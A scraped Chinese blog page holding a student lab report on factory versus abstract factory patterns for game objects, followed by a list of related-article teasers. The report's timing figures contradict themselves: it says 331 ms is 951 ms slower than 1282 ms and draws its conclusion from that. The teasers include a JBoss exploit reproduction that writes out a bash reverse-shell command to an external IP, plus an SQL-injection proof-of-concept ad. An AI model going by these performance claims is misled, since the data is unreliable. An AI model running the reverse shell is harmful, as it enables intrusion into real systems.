工厂模式和抽象工厂模式的实验报告

1. 实验结果:

记录并附上不同模型对象(例如:士兵、机器人、骑士)的展示效果截图。


2. 性能分析:

记录并比较抽象工厂模式与直接实例化的性能测试结果,分析它们在不同数量级对象创建时的开销与效益。

2.1 直接实例化

10对象

5000对象

2.2 用抽象工厂模式进行实例化

10对象

5000对象

2.3 测试结果

数量少时(10个对象)

  • 直接实例化:由于对象数量较少,直接实例化的开销小,平均执行时间为3ms。
  • 抽象工厂模式:抽象工厂模式在创建对象时需要额外的逻辑判断,因此平均执行时间为7ms,高于直接实例化。

数量多时(5000个对象)

  • 直接实例化:随着对象数量的增加,直接实例化的开销也线性增加,平均执行时间为1282ms。
  • 抽象工厂模式:抽象工厂模式的开销同样线性增加,但由于每次创建对象时都需要进行额外的逻辑判断,因此平均执行时间为331毫秒,比直接实例化多951毫秒。

2.4 开销与效益分析

  1. 直接实例化

    • 优点:在对象数量较少时,性能开销非常小,适合简单的对象创建场景。
    • 缺点:随着对象数量的增加,性能开销线性增加,且难以扩展和维护。
  2. 抽象工厂模式

    • 优点:提供了良好的扩展性和维护性,适合需要频繁扩展和修改的复杂系统。
    • 缺点:在对象数量较少时,性能开销略高于直接实例化;在对象数量较多时,性能开销显著增加,但仍然保持线性增长。

2.5 结论

  • 数量少时:直接实例化在性能上略优于抽象工厂模式。
  • 数量多时:抽象工厂模式的性能开销显著高于直接实例化,但由于其提供了更好的扩展性和维护性,适合复杂系统。


3. 问题与思考:

3.1 实现过程中遇到的挑战和解决方案

3.1.1 复杂性增加

抽象工厂模式引入了多个接口和类,增加了代码的复杂性。

 解决方案

通过良好的代码组织和注释,确保代码的可读性和可维护性。

3.1.2 扩展性问题

随着系统的扩展,可能需要频繁修改工厂类和产品类,增加了维护成本。

 解决方案

通过设计良好的接口和抽象类,确保系统的可扩展性,减少对现有代码的修改。

3.2 使用抽象工厂模式解决实际问题。

抽象工厂模式适用于以下实际问题:

  • 产品族的创建

    • 问题:需要创建一组相关或依赖的产品族,例如不同风格的游戏对象(现代、科幻、中世纪)。
    • 解决方案:使用抽象工厂模式,定义一个抽象工厂接口,每个具体工厂负责创建一个产品族。
  • 系统独立于产品的创建

    • 问题:系统需要独立于产品的具体实现,以便在运行时动态切换产品。
    • 解决方案:通过抽象工厂模式,系统可以在运行时选择不同的工厂,从而创建不同的产品。
  • 避免紧耦合

    • 问题:系统中各个模块之间存在紧耦合,难以扩展和维护。
    • 解决方案:使用抽象工厂模式,将产品的创建逻辑与使用逻辑分离,降低模块之间的耦合度。


3.3 工厂模式和抽象工厂模式的异同

相同之处

  1. 创建对象:工厂模式和抽象工厂模式都用于创建对象,将对象的实例化过程从客户端代码中解耦。
  2. 抽象接口:两者都使用抽象接口来定义对象的创建方法,客户端通过接口与具体工厂进行交互。
  3. 封装变化:两者都通过封装对象的创建过程,使得客户端代码与具体对象的创建细节分离,从而提高代码的可维护性和扩展性。

不同之处

  1. 作用范围:工厂模式关注的是创建单个对象,它通过一个具体工厂类来创建一个具体产品类的实例。抽象工厂模式关注的是创建一系列相关的产品对象,它通过一个抽象工厂类来创建一组具有相同主题的产品对象。
  2. 对象族:工厂模式创建的对象属于同一产品等级结构中的一员。抽象工厂模式创建的对象属于多个产品等级结构中的一组相关产品。
  3. 结构复杂度:工厂模式相对简单,通常只涉及一个抽象产品和一个具体产品。抽象工厂模式相对复杂,涉及多个抽象产品和多个具体产品,需要定义更多的接口和类。
  4. 可扩展性:工厂模式在需要添加新的具体产品时,只需扩展具体工厂类和具体产品类。抽象工厂模式在需要添加新的产品族时,需要扩展抽象工厂类和所有相关的具体工厂类和具体产品类

工厂模式的适用场景

  1. 创建复杂对象:当对象的创建过程复杂或者依赖多个其他对象时,使用工厂模式可以简化对象的创建过程。
  2. 需要解耦:当客户端不应该知道具体的产品类时,工厂模式可以将对象的创建和使用分离,提高系统的灵活性。
  3. 支持多种产品:当需要支持多种产品,并且这些产品之间存在共同的接口时,工厂模式可以提供统一的创建接口。
  4. 需要扩展系统:当系统需要在未来扩展以支持更多产品时,工厂模式可以方便地添加新的产品类而不影响现有代码。

抽象工厂模式的适用的场景

产品族的创建:当系统需要创建一组相关或相互依赖的产品时,使用抽象工厂模式可以确保产品的一致性和完整性。

需要解耦的系统:当需要将产品的创建与使用分离,减少系统之间的耦合度时,抽象工厂模式是一个理想的选择。

需要支持多个产品变体:在需要支持不同变体的情况下,例如不同地区的怪物、不同类型的用户界面组件等,抽象工厂模式可以有效管理这些变体。

需要扩展产品类型:当系统需要频繁扩展新产品类型时,抽象工厂模式提供了良好的扩展机制,符合开闭原则。

框架设计:在设计框架或库时,抽象工厂模式可以为用户提供灵活的产品创建接口,用户可以根据需要实现具体的工厂类。

3.4 在实际游戏开发中选择合适的设计模式。

  1. 系统复杂度

    • 简单系统:选择工厂模式,减少复杂性,提高性能。
    • 复杂系统:选择抽象工厂模式,提高系统的扩展性和维护性。
  2. 扩展需求

    • 频繁扩展:选择抽象工厂模式,便于添加新的产品族。
    • 较少扩展:选择工厂模式,简化系统结构。
  3. 性能要求

    • 高性能要求:选择工厂模式,减少创建对象的开销。
    • 性能要求较低:选择抽象工厂模式,提高系统的灵活性。
  4. 代码可维护性

    • 高可维护性要求:选择抽象工厂模式,降低模块之间的耦合度。
    • 低可维护性要求:选择工厂模式,简化代码结构。

拓展

添加

在此处切换风格

效果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/885291.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

集运公司如何怎么利用系统开展营销活动?

在当前集运市场激烈竞争的背景下,企业如何通过有效的营销策略脱颖而出,成为行业佼佼者?易境通集运系统以其强大的营销功能和工具,为集运企业提供了全新的营销解决方案。以下是如何利用该系统开展营销活动的具体策略。 1.积分卡券&…

Jupyter的使用分享

文章目录 碎碎念安装方法1.安装Anaconda方法2.通过库的安装方式 启动使用教程1.指定目录打开2.启动后的简单使用 小结 碎碎念 前情提示 之前与许多小伙伴交流的时候,发现大家对于pycharm更容易上手(可能是比较好设置中文的原因),在…

MySQL扩展

一、慢查询(慢日志) 默认关闭的 定位慢SQL 简单:show profile,启用时会对服务器的性能产生额外的负担 -- 启用性能监控 mysql> set profiling1;-- 执行SQL mysql> SELECT * from member-- 性能分析 mysql> show p…

基于卷积神经网络的体育运动项目分类识别系统

温馨提示:文末有 CSDN 平台官方提供的学长 QQ 名片 :) 1. 项目简介 随着计算机视觉和深度学习技术的快速发展,利用先进的图像处理技术对体育运动进行智能分类与识别已成为研究热点。传统的运动分析方法通常依赖于人工观察和记录,耗时耗力且容…

AndroidLogger插件使用技巧

它是一个Notepad插件,由于未上架Notepad的插件市场,因此需要独立下载并解压到 Notepad 安装目录下 plugin 里面即可。已更新到 SourceForge,您可以到那里获取最新的包,目前还在持续升级。 https://sourceforge.net/projects/andro…

网站建设中,常用的后台技术有哪些,他们分别擅长做什么网站平台

PHP、Python、JavaScript、Ruby、Java和.NET各自适用于不同类型的网站平台。以下是对这些编程语言适用场景的具体介绍: PHP Web开发:PHP是一种广泛使用的开源服务器端脚本语言,特别适合Web开发。全球有超过80%的网站使用PHP作为服务器端编程语…

执行力怎么培养?

执行力怎么培养? 并行:适合在初期养成习惯,不抱对结果的期望天才就是强迫症:适合中期修身:适合高级 并行:适合在初期养成习惯,不抱对结果的期望 在你开始做任何事情的时候,不要一开…

游戏找不到xinput1_3.dll的原因及解决方法

1. xinput1_3.dll 基本信息 1.1 文件名 xinput1_3.dll 是一个动态链接库(DLL)文件,它属于 Microsoft DirectX for Windows 的一部分。这个文件主要负责处理与 Xbox 360 控制器和其他兼容 XInput 标准的游戏手柄相关的输入信号,确…

【Python调用ddddocr打包成exe文件指定模型库及注意事项】

ddddocr 打包成 exe 后一直存在各种各样的问题,例如: ddddocr\common.onnx failed. File doesn’t exist 查阅资料后,问题得到解决。但相关资料不多,且不够详细,特写下本文,以便于后来者解决问题。 希望本文…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

CPU大端和小端的判断:【两种方法+源代码】

1:为什么会出现大小端 在计算机系统中,数据是以字节为单位进行存储的。每个地址单元都对应着一个字节,一个字节为8位(bit)。然而,在C语言等编程语言中,除了8位的char类型外,还有16位…

SpringBoot+Activiti7工作流入门实例

目录 文章目录 目录准备Activiti建模工具1、BPMN-js在线设计器1.1 安装1.2 使用说明1.3运行截图2、IDEA安装Activiti Designer插件2.1安装插件2.2 设置编码格式防止中文乱码2.3 截图简单工作流入门实例1. 新建Spring Boot工程2. 引入Activiti相关依赖添加版本属性指定仓库添加依…

C语言扫盲

文章目录 C版本C语言特征GCCprintf数据类型函数指针内存管理void指针 Struct结构和Union结构typedef预处理器make工具cmake工具Projectintegral of sinc functionemulator embedded systeman event schedule 补充在线Linux终端安装Linux参考 建议还是国外教材学习…人家的PPT比…

HBase DDL操作代码汇总(namespace+table CRUD操作)

HBase DDL操作 DDL操作主要是关于命名空间和表格的内容增删改查。 注:如果出现无法连接到zookeeper等的相关错误,可以将以下代码打jar包,在HMaster节点上执行 错误提示: Exception in thread “main” java.net.SocketTimeoutExc…

sql server每天定时执行sql语句

sql server每天定时执行sql语句 1、打开SQL Server Management Studio 2、鼠标右击【SQL Server 代理】,选择【启动(S)】,如已启动,可以省略此步骤; 3、右键,新建-》作业,在作业上-》新建作业&#xff…

TypeScript是基于LLM上层研发的受益者

TypeScript优在哪里 TypeScript是一种由微软开发的开源编程语言,它是JavaScript的一个超集,添加了类型系统和一些其他特性。TypeScript的优势在于: 静态类型检查:TypeScript的最大卖点是它的静态类型系统。这允许开发者在编写代码…

Pytest自动化测试执行环境切换的2种解决方案

一、痛点分析 在实际企业的项目中,自动化测试的代码往往需要在不同的环境中进行切换,比如多套测试环境、预上线环境、UAT环境、线上环境等等,并且在DevOps理念中,往往自动化都会与Jenkins进行CI/CD,不论是定时执行策略…

ELK-03-skywalking监控linux系统

文章目录 前言一、下载node_exporter二、启动node_exporter三、下载OpenTelemetry Collector四、启动OpenTelemetry Collector4.1 将配置文件下载到同级目录4.2 启动 五、查看总结 前言 skywalking安装完成后,开始我们的第一个监控-监控linux系统。 参考官方文档&a…

AI知识库如何重塑电商行业的产品推荐系统

在数字化浪潮的推动下,电子商务行业正经历着前所未有的变革。其中,产品推荐系统作为连接消费者与商品的桥梁,其智能化与个性化水平直接影响着用户体验、转化率乃至整个平台的竞争力。随着人工智能(AI)技术的飞速发展&a…

灵当CRM index.php接口SQL注入漏洞复现 [附POC]

文章目录 灵当CRM index.php接口SQL注入漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 灵当CRM index.php接口SQL注入漏洞复现 [附POC] 0x01 前言 免责声明:请勿利用文章内的相关技…